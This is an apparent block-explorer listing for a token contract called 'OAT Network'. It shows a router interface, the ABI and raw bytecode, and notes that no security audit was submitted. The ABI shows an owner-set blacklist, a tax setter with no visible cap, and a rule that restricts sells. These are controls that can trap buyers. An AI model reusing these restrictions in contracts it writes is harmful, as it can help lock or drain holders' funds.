// SPDX-License-Identifier: UNLICENSED pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactTokensForAVAXSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; }
{ "evmVersion": "paris", "libraries": {}, "metadata": { "bytecodeHash": "ipfs", "useLiteralContent": true }, "optimizer": { "enabled": true, "runs": 200 }, "remappings": [], "outputSelection": { "*": { "*": [ "evm.bytecode", "evm.deployedBytecode", "devdoc", "userdoc", "metadata", "abi" ] } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"taxWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"OwnableInvalidOwner","type":"error"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"OwnableUnauthorizedAccount","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"taxWallet_","type":"address"},{"indexed":false,"internalType":"bool","name":"status_","type":"bool"}],"name":"Blacklist","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"taxWallet_","type":"address"}],"name":"TaxWalletUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DENOMINATOR","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addedLP","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"blacklist","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"changeMaxTaxSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"changeTaxSwapThreshold","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"taxWallet_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"},{"internalType":"address","name":"mktWallet_","type":"address"}],"name":"changeTaxWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"finalBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"finalSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getTax","outputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"inSwap","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"}],"name":"includeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialBuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"initialSellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_user","type":"address"},{"internalType":"bool","name":"_isBlacklist","type":"bool"}],"name":"setBlacklist","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setMaxTxPercentToDefault","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buy_","type":"uint256"},{"internalType":"uint256","name":"sell_","type":"uint256"}],"name":"setTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"taxWallet","outputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingOpen","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526107d06009556107d0600a556101f4600b556101f4600c55601c600d556000600e556012601055601054600a6200003c919062000429565b6200004b90629896806200043e565b60115560408051808201909152600b81526a4f4154204e6574776f726b60a81b60208201526012906200007f9082620004ff565b5060408051808201909152600381526213d05560ea1b6020820152601390620000a99082620004ff565b506127106011546101f4620000bf91906200043e565b620000cb9190620005cb565b6014556127106011546064620000e291906200043e565b620000ee9190620005cb565b60155561271060115460326200010591906200043e565b620001119190620005cb565b60165561271060115460326200012891906200043e565b620001349190620005cb565b6017556019805463ffffffff60a01b191690553480156200015457600080fd5b5060405162002ad738038062002ad783398101604081905262000177916200060b565b33806200019e57604051631e4fbdf760e01b81526000600482015260240160405180910390fd5b620001a981620002c4565b50600680546001600160a01b03199081166001600160a01b03848116918217845560078054841683179055600880548416909217909155336000908152600360209081526040808320805460ff199081166001908117909255308552828520805482168317905596548516845281842080549097168117909655601880549095168885161790945560115482548416835294815283822085905581549351948552929091169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36006546040516001600160a01b0390911681527f9a5950144c135c4ca7cfeed1549eeb7309d0270f4269aabbe564ba06adb4584d9060200160405180910390a1505062000643565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200036b5781600019048211156200034f576200034f62000314565b808516156200035d57918102915b93841c93908002906200032f565b509250929050565b600082620003845750600162000423565b81620003935750600062000423565b8160018114620003ac5760028114620003b757620003d7565b600191505062000423565b60ff841115620003cb57620003cb62000314565b50506001821b62000423565b5060208310610133831016604e8410600b8410161715620003fc575081810a62000423565b6200040883836200032a565b80600019048211156200041f576200041f62000314565b0290505b92915050565b600062000437838362000373565b9392505050565b808202811582820484141762000423576200042362000314565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200048357607f821691505b602082108103620004a457634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004fa576000816000526020600020601f850160051c81016020861015620004d55750805b601f850160051c820191505b81811015620004f657828155600101620004e1565b5050505b505050565b81516001600160401b038111156200051b576200051b62000458565b62000533816200052c84546200046e565b84620004aa565b602080601f8311600181146200056b5760008415620005525750858301515b600019600386901b1c1916600185901b178555620004f6565b600085815260208120601f198616915b828110156200059c578886015182559484019460019091019084016200057b565b5085821015620005bb5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600082620005e957634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200060657600080fd5b919050565b600080604083850312156200061f57600080fd5b6200062a83620005ee565b91506200063a60208401620005ee565b90509250929050565b61248480620006536000396000f3fe6080604052600436106102605760003560e01c806370a0823111610144578063a9059cbb116100b6578063e6fe10b61161007a578063e6fe10b6146106f3578063e8078d9414610708578063f2fde38b1461071d578063f9f92be41461073d578063ff5118281461076d578063ffb54a991461078d57600080fd5b8063a9059cbb14610637578063c96c516314610657578063d830678614610677578063db05944c14610698578063dd62ed3e146106ad57600080fd5b80638a8c523c116101085780638a8c523c146105af5780638c0b5e22146105c45780638da5cb5b146105d95780638f3fa860146105f7578063918f86741461060c57806395d89b411461062257600080fd5b806370a0823114610519578063715018a61461054f578063751039fc1461056457806378e97925146105795780637efd4be71461058f57600080fd5b80633912ff97116101dd57806358d37533116101a157806358d37533146104845780635e7b655c1461049957806362997f8c146104ae578063667f6526146104c35780636727ba9b146104e35780636ddd1713146104f857600080fd5b80633912ff97146103f2578063437823ec1461040757806349bd5a5e1461042757806351bc3c851461044757806354b762a61461045c57600080fd5b806317e92c751161022457806317e92c751461033e57806318160ddd1461035e57806323b872dd1461037d5780632dc0562d1461039d578063313ce567146103dd57600080fd5b8063050197701461026c57806306fdde03146102a2578063095ea7b3146102c4578063153b0d1e146102e45780631694505e1461030657600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5060195461028d90600160b81b900460ff1681565b60405190151581526020015b60405180910390f35b3480156102ae57600080fd5b506102b76107ae565b6040516102999190612083565b3480156102d057600080fd5b5061028d6102df3660046120e7565b610840565b3480156102f057600080fd5b506103046102ff366004612121565b610857565b005b34801561031257600080fd5b50601854610326906001600160a01b031681565b6040516001600160a01b039091168152602001610299565b34801561034a57600080fd5b5061030461035936600461215a565b6108fe565b34801561036a57600080fd5b506011545b604051908152602001610299565b34801561038957600080fd5b5061028d610398366004612173565b610983565b3480156103a957600080fd5b50600654600754600854604080516001600160a01b0394851681529284166020840152921691810191909152606001610299565b3480156103e957600080fd5b5060105461036f565b3480156103fe57600080fd5b5060095461036f565b34801561041357600080fd5b506103046104223660046121b4565b610a46565b34801561043357600080fd5b50601954610326906001600160a01b031681565b34801561045357600080fd5b50610304610a72565b34801561046857600080fd5b50600954600a5460408051928352602083019190915201610299565b34801561049057600080fd5b50600b5461036f565b3480156104a557600080fd5b5060165461036f565b3480156104ba57600080fd5b5060175461036f565b3480156104cf57600080fd5b506103046104de3660046121d1565b610ad8565b3480156104ef57600080fd5b50610304610aeb565b34801561050457600080fd5b5060195461028d90600160b01b900460ff1681565b34801561052557600080fd5b5061036f6105343660046121b4565b6001600160a01b031660009081526001602052604090205490565b34801561055b57600080fd5b50610304610b3d565b34801561057057600080fd5b50610304610b51565b34801561058557600080fd5b5061036f600f5481565b34801561059b57600080fd5b506103046105aa36600461215a565b610b96565b3480156105bb57600080fd5b50610304610c1b565b3480156105d057600080fd5b5060145461036f565b3480156105e557600080fd5b506000546001600160a01b0316610326565b34801561060357600080fd5b5060155461036f565b34801561061857600080fd5b5061036f61271081565b34801561062e57600080fd5b506102b7610e31565b34801561064357600080fd5b5061028d6106523660046120e7565b610e40565b34801561066357600080fd5b506103046106723660046121f3565b610e4d565b34801561068357600080fd5b5060195461028d90600160a81b900460ff1681565b3480156106a457600080fd5b50600a5461036f565b3480156106b957600080fd5b5061036f6106c836600461223e565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b3480156106ff57600080fd5b50600c5461036f565b34801561071457600080fd5b50610304611068565b34801561072957600080fd5b506103046107383660046121b4565b61141e565b34801561074957600080fd5b5061028d6107583660046121b4565b60056020526000908152604090205460ff1681565b34801561077957600080fd5b506103046107883660046121b4565b61145c565b34801561079957600080fd5b5060195461028d90600160a01b900460ff1681565b6060601280546107bd9061226c565b80601f01602080910402602001604051908101604052809291908181526020018280546107e99061226c565b80156108365780601f1061080b57610100808354040283529160200191610836565b820191906000526020600020905b81548152906001019060200180831161081957829003601f168201915b5050505050905090565b600061084d338484611485565b5060015b92915050565b61085f6115a9565b6006546001600160a01b0316336001600160a01b03161461089b5760405162461bcd60e51b8152600401610892906122a6565b60405180910390fd5b6001600160a01b038216600081815260056020908152604091829020805460ff19168515159081179091558251938452908301527ff7e58a63a036e3a7ef7921f83b6ae47930cf5c293dd3bfe7a857c6863409046d910160405180910390a15050565b6006546001600160a01b0316336001600160a01b0316146109315760405162461bcd60e51b8152600401610892906122a6565b600081118015610942575060115481105b61097e5760405162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b6044820152606401610892565b601755565b6001600160a01b03831660009081526002602090815260408083203384529091528120548211156109f65760405162461bcd60e51b815260206004820152601c60248201527f45524332303a20416c6c6f77616e636573206e6f7420656e6f756768000000006044820152606401610892565b610a018484846115d6565b6001600160a01b038416600090815260026020908152604080832033808552925290912054610a3c918691610a379086906122e5565b611485565b5060019392505050565b610a4e6115a9565b6001600160a01b03166000908152600360205260409020805460ff19166001179055565b6006546001600160a01b0316336001600160a01b031614610aa55760405162461bcd60e51b8152600401610892906122a6565b306000908152600160205260409020548015610ac457610ac481611d58565b478015610ad457610ad481611eeb565b5050565b610ae06115a9565b600991909155600a55565b610af36115a9565b6064601154610b0291906122f8565b60148190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf906020015b60405180910390a1565b610b456115a9565b610b4f600061201b565b565b610b596115a9565b601154601481905560158190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf90602001610b33565b600081118015610ba7575060115481105b610be35760405162461bcd60e51b815260206004820152600d60248201526c496e76616c69642076616c756560981b6044820152606401610892565b6006546001600160a01b0316336001600160a01b031614610c165760405162461bcd60e51b8152600401610892906122a6565b601655565b610c236115a9565b601954600160a01b900460ff1615610c775760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610892565b6019546001600160a01b0316610e1457601860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cda573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfe919061231a565b6001600160a01b031663e6a4390530601860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d84919061231a565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610dcf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df3919061231a565b601980546001600160a01b0319166001600160a01b03929092169190911790555b6019805462ff00ff60a01b19166201000160a01b17905542600f55565b6060601380546107bd9061226c565b600061084d3384846115d6565b6006546001600160a01b0316336001600160a01b031614610e805760405162461bcd60e51b8152600401610892906122a6565b6001600160a01b038316610ed65760405162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616464726573732074617857616c6c65745f0000000000006044820152606401610892565b6001600160a01b038216610f2c5760405162461bcd60e51b815260206004820152601a60248201527f496e76616c696420616464726573732064657657616c6c65745f0000000000006044820152606401610892565b6001600160a01b038116610f825760405162461bcd60e51b815260206004820152601a60248201527f496e76616c69642061646472657373206d6b7457616c6c65745f0000000000006044820152606401610892565b600680546001600160a01b039081166000908152600360209081526040808320805460ff199081169091556007805486168552828520805483169055600880548716865283862080548416905587546001600160a01b03199081168c89169081178a55835482168c8a1617845582549091168a891617825586528386208054841660019081179091559154871686528386208054841683179055548616855293829020805490911690931790925592549051911681527f9a5950144c135c4ca7cfeed1549eeb7309d0270f4269aabbe564ba06adb4584d910160405180910390a1505050565b6110706115a9565b601954600160a01b900460ff161580156110945750601954600160b81b900460ff16155b6110da5760405162461bcd60e51b81526020600482015260176024820152763a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610892565b6018546011546110f79130916001600160a01b0390911690611485565b601860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561114a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116e919061231a565b6001600160a01b031663c9c6539630601860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111f4919061231a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015611241573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611265919061231a565b601980546001600160a01b039283166001600160a01b031990911681179091556000908152600360205260409020805460ff191660011790556018541663f305d71947306112c8816001600160a01b031660009081526001602052604090205490565b6000806112dd6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015611345573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061136a9190612337565b505060195460185460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af11580156113c3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113e79190612365565b50601980546001600160a01b03166000908152600360205260409020805460ff19169055805460ff60b81b1916600160b81b179055565b6114266115a9565b6001600160a01b03811661145057604051631e4fbdf760e01b815260006004820152602401610892565b6114598161201b565b50565b6114646115a9565b6001600160a01b03166000908152600360205260409020805460ff19169055565b6001600160a01b0383166114e75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610892565b6001600160a01b0382166115485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610892565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b03163314610b4f5760405163118cdaa760e01b8152336004820152602401610892565b6001600160a01b03831661163a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610892565b6001600160a01b03821661169c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610892565b600081116117055760405162461bcd60e51b815260206004820152603060248201527f45524332303a205472616e7366657220616d6f756e74206d757374206265206760448201526f726561746572207468616e207a65726f60801b6064820152608401610892565b6001600160a01b03831660009081526005602052604090205460ff1615801561174757506001600160a01b03821660009081526005602052604090205460ff16155b61178a5760405162461bcd60e51b8152602060048201526014602482015273165bdd48185c99481a5b88189b1858dadb1a5cdd60621b6044820152606401610892565b6000808061179b600954600a549091565b915091506117b16000546001600160a01b031690565b6001600160a01b0316866001600160a01b0316141580156117e057506000546001600160a01b03868116911614155b15611b9b576019546001600160a01b03878116911614801561181057506018546001600160a01b03868116911614155b801561183557506001600160a01b03851660009081526003602052604090205460ff16155b156119e3576014548411156118885760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610892565b601954600160a01b900460ff166118d45760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b6044820152606401610892565b601554846118f7876001600160a01b031660009081526001602052604090205490565b6119019190612382565b111561194f5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610892565b600d54600e5410156119aa57843b156119aa5760405162461bcd60e51b815260206004820152601a60248201527f4e6f7420616c6c6f7720636f6e747261637420627579206e6f770000000000006044820152606401610892565b600e80549060006119ba83612395565b90915550506001600160a01b0385166000908152600460205260409020805460ff191660011790555b6127106119f083866123ae565b6119fa91906122f8565b6019549093506001600160a01b038681169116148015611a2357506001600160a01b0386163014155b15611afb57601454841115611a765760405162461bcd60e51b815260206004820152601960248201527822bc31b2b2b239903a3432902fb6b0bc2a3c20b6b7bab73a1760391b6044820152606401610892565b612710611a8382866123ae565b611a8d91906122f8565b9250600d54600e541180611ab957506001600160a01b03861660009081526004602052604090205460ff165b611afb5760405162461bcd60e51b815260206004820152601360248201527229b2b63632b91034b9903737ba10313abcb2b960691b6044820152606401610892565b30600090815260016020526040902054601754601954600160a81b900460ff16158015611b3557506019546001600160a01b038881169116145b8015611b4a5750601954600160b01b900460ff165b8015611b57575060165482115b8015611b665750600d54600e54115b15611b9857611b86611b8187611b7c858561206b565b61206b565b611d58565b478015611b9657611b9647611eeb565b505b50505b6001600160a01b03851660009081526003602052604090205460ff168015611bd057506019546001600160a01b038681169116145b15611bda57600092505b6019546001600160a01b03868116911614801590611c0657506019546001600160a01b03878116911614155b15611c1057600092505b8215611c8b5730600090815260016020526040902054611c31908490612382565b30600081815260016020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611c829087815260200190565b60405180910390a35b6001600160a01b038616600090815260016020526040902054611caf9085906122e5565b6001600160a01b038716600090815260016020526040902055611cd283856122e5565b6001600160a01b038616600090815260016020526040902054611cf59190612382565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef611d3f86886122e5565b60405190815260200160405180910390a3505050505050565b6019805460ff60a81b1916600160a81b1790558015611edb57601954600160a01b900460ff1615611edb576040805160028082526060820183526000926020830190803683370190505090503081600081518110611db857611db86123c5565b6001600160a01b03928316602091820292909201810191909152601854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611e11573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e35919061231a565b81600181518110611e4857611e486123c5565b6001600160a01b039283166020918202929092010152601854611e6e9130911684611485565b60185460405163791ac94760e01b81526001600160a01b039091169063791ac94790611ea79085906000908690309042906004016123db565b600060405180830381600087803b158015611ec157600080fd5b505af1158015611ed5573d6000803e3d6000fd5b50505050505b506019805460ff60a81b19169055565b6000611ef86002836122f8565b90506000600a611f098460026123ae565b611f1391906122f8565b90506000611f218284612382565b611f2b90856122e5565b6006549091506001600160a01b031615611f7b576006546040516001600160a01b039091169084156108fc029085906000818181858888f19350505050158015611f79573d6000803e3d6000fd5b505b6008546001600160a01b031615611fc8576008546040516001600160a01b039091169083156108fc029084906000818181858888f19350505050158015611fc6573d6000803e3d6000fd5b505b6007546001600160a01b031615612015576007546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612013573d6000803e3d6000fd5b505b50505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600081831161207a578261207c565b815b9392505050565b60006020808352835180602085015260005b818110156120b157858101830151858201604001528201612095565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461145957600080fd5b600080604083850312156120fa57600080fd5b8235612105816120d2565b946020939093013593505050565b801515811461145957600080fd5b6000806040838503121561213457600080fd5b823561213f816120d2565b9150602083013561214f81612113565b809150509250929050565b60006020828403121561216c57600080fd5b5035919050565b60008060006060848603121561218857600080fd5b8335612193816120d2565b925060208401356121a3816120d2565b929592945050506040919091013590565b6000602082840312156121c657600080fd5b813561207c816120d2565b600080604083850312156121e457600080fd5b50508035926020909101359150565b60008060006060848603121561220857600080fd5b8335612213816120d2565b92506020840135612223816120d2565b91506040840135612233816120d2565b809150509250925092565b6000806040838503121561225157600080fd5b823561225c816120d2565b9150602083013561214f816120d2565b600181811c9082168061228057607f821691505b6020821081036122a057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252600f908201526e13db9b1e481d185e081dd85b1b195d608a1b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b81810381811115610851576108516122cf565b60008261231557634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561232c57600080fd5b815161207c816120d2565b60008060006060848603121561234c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561237757600080fd5b815161207c81612113565b80820180821115610851576108516122cf565b6000600182016123a7576123a76122cf565b5060010190565b8082028115828204841417610851576108516122cf565b634e487b7160e01b600052603260045260246000fd5b600060a08201878352602087602085015260a0604085015281875180845260c08601915060208901935060005b8181101561242d5784516001600160a01b031683529383019391830191600101612408565b50506001600160a01b0396909616606085015250505060800152939250505056fea2646970667358221220e7c58f49c734d61faeac4f2875d67e9d26b9655a78a7d3ddee158c8ed3fd460a64736f6c63430008170033000000000000000000000000c532a74256d3db42d0bf7a0400fefdbad76940080000000000000000000000000d03b92e075c6cf636fa5602fa901f96bcd8aace
Deployed Bytecode
0x6080604052600436106102605760003560e01c806370a0823111610144578063a9059cbb116100b6578063e6fe10b61161007a578063e6fe10b6146106f3578063e8078d9414610708578063f2fde38b1461071d578063f9f92be41461073d578063ff5118281461076d578063ffb54a991461078d57600080fd5b8063a9059cbb14610637578063c96c516314610657578063d830678614610677578063db05944c14610698578063dd62ed3e146106ad57600080fd5b80638a8c523c116101085780638a8c523c146105af5780638c0b5e22146105c45780638da5cb5b146105d95780638f3fa860146105f7578063918f86741461060c57806395d89b411461062257600080fd5b806370a0823114610519578063715018a61461054f578063751039fc1461056457806378e97925146105795780637efd4be71461058f57600080fd5b80633912ff97116101dd57806358d37533116101a157806358d37533146104845780635e7b655c1461049957806362997f8c146104ae578063667f6526146104c35780636727ba9b146104e35780636ddd1713146104f857600080fd5b80633912ff97146103f2578063437823ec1461040757806349bd5a5e1461042757806351bc3c851461044757806354b762a61461045c57600080fd5b806317e92c751161022457806317e92c751461033e57806318160ddd1461035e57806323b872dd1461037d5780632dc0562d1461039d578063313ce567146103dd57600080fd5b8063050197701461026c57806306fdde03146102a2578063095ea7b3146102c4578063153b0d1e146102e45780631694505e1461030657600080fd5b3661026757005b600080fd5b34801561027857600080fd5b5060195461028d90600160b81b900460ff1681565b60405190151581526020015b60405180910390f35b3480156102ae57600080fd5b506102b76107ae565b6040516102999190612083565b3480156102d057600080fd5b5061028d6102df3660046120e7565b610840565b3480156102f057600080fd5b506103046102ff366004612121565b610857565b005b348015610